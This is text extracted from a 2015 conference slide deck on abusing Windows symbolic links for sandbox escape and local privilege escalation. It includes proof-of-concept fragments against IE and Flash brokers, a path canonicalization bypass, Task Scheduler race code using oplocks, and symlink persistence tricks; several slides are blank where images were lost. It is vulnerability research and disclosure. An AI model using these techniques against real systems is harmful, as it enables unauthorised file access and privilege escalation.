



A Link to the Past

Abusing Symbolic Links on Windows
James Forshaw @tiraniddo
SyScan 2015

Obligatory Background Slide

- Researcher in Google's Project Zero team
- Specialize in Windows
 - Especially local privilege escalation
- Never met a logical vulnerability I didn't like




<https://www.flickr.com/photos/barretthall/2478623520/>

What I'm Going to Talk About

- Implementation of Symbolic Links on Windows
- Exploitable Bug Classes
- Example vulnerabilities
- Offensive exploitation tricks

Symbolic Links



```
user@linuxtest:~$ ln -s /usr/local mylink
user@linuxtest:~$ ls -l mylink
lrwxrwxrwx 1 user user 10 Mar  5 07:40 mylink -> /usr/local
user@linuxtest:~$ ls -l mylink/
total 36
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 bin
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 etc
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 games
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 include
drwxrwsr-x  4 root staff 4096 Oct 27 07:36 lib
lrwxrwxrwx  1 root staff    9 Oct 27 07:23 man -> share/man
drwxr-sr-x 10 root staff 4096 Oct 27 08:20 samba
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 sbin
drwxrwsr-x  7 root staff 4096 Oct 27 07:37 share
drwxrwsr-x  2 root staff 4096 Oct 27 07:23 src
user@linuxtest:~$
```

Dangers of Symbolic Links

CWE-61: UNIX Symbolic Link (Symlink) Following

Definition List Slice XML.zip

UNIX Symbolic Link (Symlink) Following

Compound Element ID: 61 (Compound Element Variants: Composite)

Status: Incomplete

✓ Description

Description Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

✓ Common Consequences

Scope

Effect


Confidentiality **Technical Impact:** Read files or directories; Modify files or directories

Integrity


✓ Likelihood of Exploit

High to Very High


Resource Creation or Overwrite




Information Disclosure




Time of Check/Time of Use




History of Windows Symbolic Links



History of Windows Symbolic Links



History of Windows Symbolic Links



Object Manager Symbolic Links

The screenshot shows the Windows File Explorer interface for 'This PC'. The left sidebar shows 'Favorites' (Desktop, Downloads, Recent places) and 'This PC' (Desktop, Documents, Downloads, Music, Pictures, Videos, Local Disk (C:), DATADRIVE1 (D:), Network). The main area shows 'Folders (6)' and 'Devices and drives (2)'. The 'Devices and drives' section displays 'Local Disk (C:)' with 826 GB free of 930 GB and 'DATADRIVE1 (D:)' with 200 GB free of 223 GB. An arrow points from the 'Local Disk (C:)' icon to a callout box containing a table of symbolic links.

BitLocker	SymbolicLink	\Device\BitLocker
C:	SymbolicLink	\Device\HarddiskVolume4
COM3	SymbolicLink	\Device\Serial0
CON	SymbolicLink	\Device\ConDrv\Console
CONINS	SymbolicLink	\Device\ConDrv\CurrentIn
CONOUTS	SymbolicLink	\Device\ConDrv\CurrentOut
D:	SymbolicLink	\Device\HarddiskVolume6

Named Objects



IO/File

`\??\C:\Windows\notepad.exe`
`\Device\NamedPipe\mypipe`



Registry

`\Registry\Machine\Software`



Semaphore

`\BaseNamedObjects\MySema`

Creating Object Manager Symbolic Links

```
HANDLE CreateSymLink(LPCWSTR linkname, LPCWSTR targetname)
{
    OBJECT_ATTRIBUTES obj_attr;
    UNICODE_STRING name, target;
    HANDLE hLink;

    RtlInitUnicodeString(&name, linkname);
    RtlInitUnicodeString(&target, targetname);

    InitializeObjectAttributes(&objAttr, &name,
        OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    NtCreateSymbolicLinkObject(&hLink, SYMBOLIC_LINK_ALL_ACCESS,
        &obj_attr, &target);
    return hLink;
}
```

Object Manager Reparsing




NtOpenSemaphore

Parsing Name

\MyObjects\Global\MySema

Object Manager Reparsing



Parsing Name

`\MyObjects\Global\MySema`

Object Manager Reparsing



Parsing Name

\MyObjects \Global \MySema

Current Component

Object Manager Reparsing





Parsing Name

\MyObjects \Global \MySema



Current Component

Object Manager Reparsing




Global → \BaseNamedObjects

Object Manager Reparsing



`Global` → `\BaseNamedObjects`

Object Manager Reparsing



Parsing Name

`\BaseNamedObjects\MySema`

Abusing Object Manager Symbolic Links

- Most obvious attack is object squatting
 - Redirect privileged object creation to another name
 - Open named pipes for attacking impersonation
 - Shadowing ALPC ports
- File symlink attacks perhaps more interesting!

Example Vulnerability

IE EPM MOTWCreateFile Information
Disclosure

IE Shell Broker MOTWCreateFile

```
HANDLE MOTWCreateFile(PCWSTR FileName, ...) {  
  
    if (FileHasMOTW(FileName) || IsURLFile(FileName)) {  
        return CreateFile(FileName, GENERIC_READ, ...);  
    }  
}
```

```
BOOL IsURLFile(PCWSTR FileName) {  
    PCWSTR extension = PathFindExtension(FileName);  
  
    return wcsicmp(extension, L".url") == 0;  
}
```

Win32 Path Support

<i>Path</i>	<i>Description</i>
some\path	Relative path to current directory
c:\some\path	Absolute directory
\\.c:\some\path	Device path, canonicalized
\\?\c:\some\path	Device path, non-canonicalized


Interesting!

Win32 to Native NT File Paths


Win32 Path

\\.\c:\some\path

Win32 to Native NT File Paths



Win32 to Native NT File Paths



Global Root Symlink

 Global	SymbolicLink	\GLOBAL??
 GLOBALROOT	SymbolicLink	
 Harddisk0Partition1	SymbolicLink	\Device\HarddiskVolume1

Empty Symlink Path

Win32 Path

\\.\GLOBALROOT\some\path

Global Root Symlink

 Global	SymbolicLink	\GLOBAL??
 GLOBALROOT	SymbolicLink	
 Harddisk0Partition1	SymbolicLink	\Device\HarddiskVolume1

Empty Symlink Path

Win32 Path

\\.\GLOBALROOT\some\path



RtlDosPathNameToRelativeNtPathName


Native Path

\\??\GLOBALROOT\some\path

Global Root Symlink

 Global	SymbolicLink	\GLOBAL??
 GLOBALROOT	SymbolicLink	
 Harddisk0Partition1	SymbolicLink	\Device\HarddiskVolume1

Empty Symlink Path



Writeable Object Directories from IE Sandbox

<i>Path</i>	<i>Sandbox</i>
\RPC Control	PM
\Sessions\X\BaseNamedObjects	PM
\Sessions\X\AppContainerNamedObjects\SID\...	EPM

Exploiting

```
IShDocVwBroker* broker;  
  
CreateSymLink(L"\\RPC Control\\fake.url",  
             L"\\??\\C:\\some\\file");  
  
broker->MOTWCreateFile(  
    L"\\\\.\\GLOBALROOT\\RPC Control\\fake.url",  
    ...);  
  
// Read File
```


Example Vulnerability

Adobe Flashbroker Incorrect
Canonicalization Sandbox Escape

BrokerCreateFile

```
HANDLE BrokerCreateFile(PCWSTR FileName, ...) {  
    if (IsSafePath(FileName)) {  
        return CreateFile(FileName, ...);  
    }  
}
```

Reuses the original FileName



Can we bypass IsSafePath?

Path Canonicalization

```
BOOL IsSafePath(PCWSTR FileName) {  
    if (wcsnicmp(FileName, L"\\\\\\?\\") == 0) {  
        FileName = &FileName[4];  
    }  
  
    CanonicalizePath(FileName, CanonicalPath);  
  
    return IsInSafeLocation(CanonicalPath);  
}
```

 Removes device prefix

NTFS Invalid Filename Characters

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F
0	NUL	SOH	STX	ETX	EOT	ENQ	ACK	BEL	BS	TAB	LF	VT	FF	CR	SO	SI
1	DLE	DC1	DC2	DC3	DC4	NAK	SYN	ETB	CAN	EM	SUB	ESC	FS	GS	RS	US
2	SP	!	"	#	\$	%	&	'	()	*	+	,	-	.	/
3	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
4	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
5	P	Q	R	S	T	U	V	W	X	Y	Z	[\]	^	_
6	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o
7	p	q	r	s	t	u	v	w	x	y	z	{		}	~	DEL

Object Manager Invalid Filename Characters

	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F
0	NUL	SOH	STX	ETX	EOT	ENQ	ACK	BEL	BS	TAB	LF	VT	FF	CR	SO	SI
1	DLE	DC1	DC2	DC3	DC4	NAK	SYN	ETB	CAN	EM	SUB	ESC	FS	GS	RS	US
2	SP	!	"	#	\$	%	&	'	()	*	+	,	-	.	/
3	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
4	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
5	P	Q	R	S	T	U	V	W	X	Y	Z	[\]	^	_
6	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o
7	p	q	r	s	t	u	v	w	x	y	z	{		}	~	DEL

What IsSafePath Saw

\\?\GLOBALROOT\RPC Control\..\..\C:\valid\path



Canonicalize Path

C:\valid\path

What CreateFile Saw

\\?\GLOBALROOT\RPC Control\..\..\C:/valid/path




RtlDosPathNameToRelativeNtPathName

\\??\GLOBALROOT\RPC Control\..\..\C:/valid/path

Object Directory

Single Symbolic Link

Registry Key Symbolic Links




```
C:\Windows\system32\cmd.exe

C:\temp>CreateRegSymlink HKCU\Software\MyLink HKCU\Software\Microsoft
Creating registry link from \Registry\User\S-1-5-21-39260824-743453154-142223018-687027\Software\MyLink to \Registry\User\S-1-5-21-39260824-743453154-142223018-687027\Software\Microsoft
SUCCESS

C:\temp>reg query HKCU\Software\MyLink

HKEY_CURRENT_USER\Software\MyLink\Active Setup
HKEY_CURRENT_USER\Software\MyLink\ActiveMovie
HKEY_CURRENT_USER\Software\MyLink\ADs
HKEY_CURRENT_USER\Software\MyLink\Assistance
HKEY_CURRENT_USER\Software\MyLink\AuthCookies
HKEY_CURRENT_USER\Software\MyLink\Calc
HKEY_CURRENT_USER\Software\MyLink\CharMap
HKEY_CURRENT_USER\Software\MyLink\Command Processor
HKEY_CURRENT_USER\Software\MyLink\Cryptography
```



Under the hood




Parsing Name

`\Registry\Machine\Mylink`

Under the hood




Under the hood



Serious Limitations

- Windows 7 fixed numerous issues with registry symbolic links
 - Blocked symlinks between untrusted (user) and trusted (local machine) hives
 - Symbolic link must be a valid registry path
- MS10-021 ensured it was also available downstream
- Still can exploit user to user vulnerabilities such as in IE EPM
 - CVE-2013-5054
 - CVE-2014-6322
- Mitigation (pass flag to RegCreateKeyEx) still undocumented

NTFS Mount Points / Directory Junctions




```
C:\temp>mklink /J mylink c:\windows
Junction created for mylink <<===> c:\windows

C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is 8415-9071


Directory of C:\temp

09/03/2015  11:15    <DIR>          .
09/03/2015  11:15    <DIR>          ..
09/03/2015  11:15    <JUNCTION>     mylink [c:\windows]
               0 File(s)                0 bytes
               3 Dir(s)  888,184,295,424 bytes free
```

Under the hood



Under the hood



Parsing Name

`\??\C:\temp\mylink\file`

`\??\C:\Windows`



Home Files Attributes Concepts Glossary

Attribute - SREPARSE_POINT (0xC0)

Previous Next


Overview

As defined in SAttrDef, this attribute has a no minimum size but a maximum of 16384 bytes.

Layout of the Attribute (Microsoft Reparse Point)

Offset	Size	Description
--	--	Standard Attribute Header
0x00	4	Reparse Type (and Flags)
0x04	2	Reparse Data Length
0x06	2	Padding (align to 8 bytes)
0x08	v	Reparse Data (a)

Under the hood



Structure of a Mount Point

```
typedef struct MOUNT_POINT_REPARSE_BUFFER {  
Header {  
    ULONG    ReparseTag; ← Set to 0xA0000003 for Mount Point  
    USHORT   ReparseDataLength;  
    USHORT   Reserved;  
Reparse Data {  
    USHORT   SubstituteNameOffset; } Substitute NT Name  
    USHORT   SubstituteNameLength; }  
    USHORT   PrintNameOffset; } Print Name?  
    USHORT   PrintNameLength; }  
    WCHAR    PathBuffer[1]; ← String Data  
};
```

Create a Mount Point

```
PREPARSE_DATA_BUFFER reparse_buffer =  
    BuildMountPoint(target);  
CreateDirectory(dir);  
  
HANDLE handle = CreateFile(dir, ...,  
    FILE_FLAG_BACKUP_SEMANTICS |  
    FILE_FLAG_OPEN_REPARSE_POINT, ...);  
  
DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT,  
    reparse_buffer, reparse_buffer.size(), ...);
```

Mount Point Limitations

- Directory must be empty to set the reparse data
- Target device must be an IO device (no opening registry keys for example)
- Target device heavily restricted in IopParseDevice:

```
IO_PARSE_CONTEXT *ctx;

if (ctx->LastReparseTag == IO_REPARSE_TAG_MOUNT_POINT) {
    switch(TargetDeviceType) {
        case FILE_DEVICE_DISK:
        case FILE_DEVICE_CD_ROM:
        case FILE_DEVICE_VIRTUAL_DISK:
        case FILE_DEVICE_TAPE:
            break;
        default:
            return STATUS_IO_REPARSE_DATA_INVALID;
    }
}
```

} Limited Device Subset

Example Vulnerability

Windows Task Scheduler TOCTOU Arbitrary
File Creation

Running a Scheduled Task


```
void Load_Task_File(string task_name,  
                  string orig_hash) {  
    string task_path =  
        "c:\\windows\\system32\\tasks\\" +  
        task_name;  
  
    string file_hash = Hash_File(task_path);  
  
    if (file_hash != orig_hash) {  
        Rewrite_Task_File(task_path);  
    }  
}
```

 Rewrite Task without Impersonation

 Hash task file contents

System Task Folder

Writable from normal user privilege, therefore can create a mount point directory




```
C:\Windows\system32\cmd.exe

C:\Windows\System32>icacls tasks
tasks BUILTIN\Administrators:(CI)(F)
      BUILTIN\Administrators:(OI)(R,W,D,WDAC,WO)
      NT AUTHORITY\SYSTEM:(CI)(F)
      NT AUTHORITY\SYSTEM:(OI)(R,W,D,WDAC,WO)
      NT AUTHORITY\Authenticated Users:(CI)(W,Rc)
      NT AUTHORITY\NETWORK SERVICE:(CI)(W,Rc)
      NT AUTHORITY\LOCAL SERVICE:(CI)(W,Rc)
      CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Windows\System32>
```


Winning the Race Condition




Is that an OPLOCK in your Pocket?

```
void SetOplock(HANDLE hFile) {  
    REQUEST_OPLOCK_INPUT_BUFFER inputBuffer;  
    REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer;  
    OVERLAPPED overlapped;  
    overlapped.hEvent = CreateEvent(...);  
  
    DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK,  
        &inputBuffer, sizeof(inputBuffer),  
        &outputBuffer, sizeof(outputBuffer),  
        nullptr, &overlapped);  
    WaitForSingleObject(overlapped.hEvent, ...);  
}
```


Exploitation




Exploitation




Exploitation



Exploitation



Exploitation




OPLOCK Limitations

- Can't block on access to standard attributes or `FILE_READ_ATTRIBUTES`
- One-shot, need to be quick to reestablish if opened multiple times
- Can get around attribute reading in certain circumstances by oplocking a directory.
- For example these scenarios opens directories for read access
 - Shell `SHParseDisplayName` accesses each directory in path
 - `GetLongPathName` or `GetShortPathName`
 - `FindFirstFile/FindNextFile`

DEMO

OPLOCKs in Action

NTFS Symbolic Links



```
C:\temp>mklink mylink.exe c:\windows\system32\calc.exe
symbolic link created for mylink.exe <<==>> c:\windows\system32\calc.exe

C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is 8415-9071


Directory of C:\temp

09/03/2015  11:13    <DIR>          .
09/03/2015  11:13    <DIR>          ..
09/03/2015  11:13    <SYMLINK>      mylink.exe [c:\windows\system32\calc.exe]
             1 File(s)      0 bytes
             2 Dir(s)  888,184,496,128 bytes free
```

Structure of a Symbolic Link


```
typedef struct SYMLINK_REPARSE_BUFFER {  
Header {  
    ULONG    ReparseTag; ← Set to 0xA000000C for Symlink  
    USHORT   ReparseDataLength;  
    USHORT   Reserved;  
Reparse Data {  
    USHORT   SubstituteNameOffset;  
    USHORT   SubstituteNameLength;  
    USHORT   PrintNameOffset;  
    USHORT   PrintNameLength;  
    USHORT   Flags; ← Flags:  
    WCHAR    PathBuffer[1]; ← 0 - Absolute path  
                                     1 - Relative path  
};
```

Create Symlink Privilege



Privilege	Flags
SeCreateGlobalPrivilege	Default Enabled
SeCreatePagefilePrivilege	Disabled
SeCreateSymbolicLinkPrivilege	Disabled
SeDebugPrivilege	Disabled
SeImpersonatePrivilege	Default Enabled
SeIncreaseBasePriorityPrivilege	Disabled
SeIncreaseQuotaPrivilege	Disabled
SeIncreaseWorkingSetPrivilege	Disabled

Admin user - Yay!



Privilege	Flags
SeChangeNotifyPrivilege	Default Enabled
SeIncreaseWorkingSetPrivilege	Disabled
SeShutdownPrivilege	Disabled
SeTimeZonePrivilege	Disabled
SeUndockPrivilege	Disabled

Normal user - Boo :-)

Create Symbolic Link Privilege

```
NTSTATUS NtfsSetReparsePoint(NTFS_CREATE_CONTEXT* ctx) {
    // Validation ...
    PREPARSE_DATA_BUFFER* reparse_buf;

    if ((reparse_buf->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) &&
        (ctx->Type != FILE_DIRECTORY)) {
        return STATUS_NOT_A_DIRECTORY;
    }

    if ((reparse_buf->ReparseTag == IO_REPARSE_SYMLINK) &&
        ((ctx->Flags & 0x400) == 0)) {
        return STATUS_ACCESS_DENIED
    }

    // ...
}
```


Create Symbolic Link Privilege

```
NTSTATUS NtfsSetReparsePoint(NTFS_CREATE_CONTEXT* ctx) {
    // Validation ...
    PREPARSE_DATA_BUFFER* reparse_buf;

    if ((reparse_buf->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) &&
        (ctx->Type != FILE_DIRECTORY)) {
        return STATUS_NOT_A_DIRECTORY;
    }

    if ((reparse_buf->ReparseTag == IO_REPARSE_SYMLINK) &&
        ((ctx->Flags & 0x400) == 0)) {
        return STATUS_ACCESS_DENIED
    }

    // ...
}
```

 Context must contain
0x400 flag

Flags Setting

```
NTSTATUS NtfsSetCcbAccessFlags(NTFS_FILE_CONTEXT* ctx) {  
  
    ACCESS_MODE AccessMode = NtfsEffectiveMode();  
  
    if (ctx->HasRestorePrivilege) {  
        ctx->Flags |= 0x400;  
    }  
  
    if (AccessMode == KernelMode ||  
        SeAccessCheck(&SeCreateSymbolicLinkPrivilege,  
                    &security_ctx,  
                    UserMode)) {  
        ctx->Flags |= 0x400;  
    }  
  
    // ...  
}
```

Hypothetical Scenario

```
NTSTATUS Handle_OpenLog(PIRP Irp) {  
  
    OBJECT_ATTRIBUTES objattr;  
    UNICODE_STRING name;  
  
    RtlInitUnicodeString(&name,  
                        L"\\SystemRoot\\LogFiles\\user.log");  
  
    InitObjectAttributes(&objattr, &name, 0, 0, 0, 0);  
  
    PHANDLE Handle = Irp->AssociatedIrp->SystemBuffer;  
  
    return ZwCreateFile(Handle, &objattr, ...);  
}
```



Returns handle to user
mode process

DEMO

Stupid Explorer Symlink Behaviour

SMBv2 Symbolic Links

2.2.2.1 Symbolic Link Error Response


The Symbolic Link Error Response is used to indicate that a symbolic link was encountered on create; it describes the target path that the client must use if it requires to follow the symbolic link. This structure is contained in the **ErrorData** section of the **SMB2 ERROR Response** (section 2.2.2). This structure **MUST NOT** be returned in an SMB2 ERROR Response unless the **Status** code in the header of that response is set to STATUS_STOPPED_ON_SYMLINK.<7> The structure has the following format.

0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31
SymLinkLength																															
SymLinkErrorTag																															
ReparseTag																															
ReparseDataLength																UnparsedPathLength															
SubstituteNameOffset																SubstituteNameLength															
PrintNameOffset																PrintNameLength															
Flags																															
PathBuffer (variable)																															
...																															

<https://msdn.microsoft.com/en-us/library/cc246542.aspx>

SMBv2 Symbolic Link Restrictions

- Remote to Local would be useful
- Disabled by default in local security policy



Back to IopParseDevice

```
enum SymlinkDeviceType { Local, Network };

if (ctx->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) { // ... }
else {
    SymlinkDeviceType target_type =
        GetSymlinkDeviceType(TargetDeviceType);

    if (target_type == Local || target_type == Network)
    {
        if (!NT_SUCCESS(IopSymlinkEnforceEnabledTypes(
            target_type, ctx->last_target_type))) {
            return STATUS_IO_REPARSE_DATA_INVALID;
        }
    }
}
}
```

 Enforces Symlink Traversal based on device types

MRXSMB20

ReparseTag (4 bytes): The type of link encountered. The server MUST set this field to 0xA000000C.


```
NTSTATUS Smb2Create_Finalize(SMB_CONTEXT* ctx) {
    // Make request and get response
    if (RequestResult == STATUS_STOPPED_ON_SYMLINK) {
        result = FsRtlValidateReparsePointBuffer(
            ctx->ErrorData, ctx->ErrorDataLength);

        if (!NT_SUCCESS(result)) {
            return result;
        }
    }


    // ...
}
```

 No check on ReparseTag


SMBv2 Device Type Bypass



SMBv2 Device Type Bypass




SMBv2 Device Type Bypass



DEMO

SMBv2 Local File Disclosure in IE

File Symbolic Links - Without Permissions



```
C:\temp>mklink /J mylink c:\temp\file.log
Junction created for mylink <<==>> c:\temp\file.log

C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is 8415-9071


Directory of C:\temp

09/03/2015  11:38    <DIR>          .
09/03/2015  11:38    <DIR>          ..
09/03/2015  11:38                8 file.log
09/03/2015  11:38    <JUNCTION>    mylink [c:\temp\file.log]
                1 File(s)      8 bytes
                3 Dir(s)  888,174,522,368 bytes free

C:\temp>more < mylink
Access is denied.
```


First Try

Default CreateFile call won't open the file.
Returns Access Denied



Success

FILE_FLAG_BACKUP_SEMANTICS
allows us to open the file



The NtCreateFile Paradox

FILE_DIRECTORY_FILE Flag

Result	
Status:	STATUS_NOT_A_DIRECTORY
File handle:	NULL
IoStatus.Info:	



FILE_NON_DIRECTORY_FILE Flag

Result	
Status:	STATUS_FILE_IS_A_DIRECTORY
File handle:	NULL
IoStatus.Info:	




Neither FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE

Result	
Status:	STATUS_SUCCESS
File handle:	0000000000000015C
IoStatus.Info:	FILE_OPENED




The Old ADS Directory Trick


Using \$INDEX_ALLOCATION stream will bypass initial directory failure




Let Our Powers Combine



Let Our Powers Combine



Let Our Powers Combine



Persisting the Symlink

- Might be useful to persist the symlink between login sessions
- Can't pass OBJ_PERMANENT directly
 - Needs SeCreatePermanentPrivilege
- Get CSRSS to do it for us :-)

```
DefineDosDeviceW(
```

```
    DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH,  
    L"GLOBALROOT\\RPC Control\\mylink",  
    L"\\Target\\Path"
```

```
);
```

Combined Symbolic Link Limitations

- All existing limitations of Mount Points apply
- Vulnerable application can't try to list or inspect the mount point itself
 - Listing the directory
 - Open for GetFileAttributes or similar
- Can mitigate somewhat by clever tricks with oplocks on directory hierarchy

DEMO

One More Thing!

Links and References

- Symlink Testing Tools
<https://github.com/somewhere/symlink-testing-tools>
- File Test Application
<https://github.com/ladislav-zezula/FileTest>

Questions?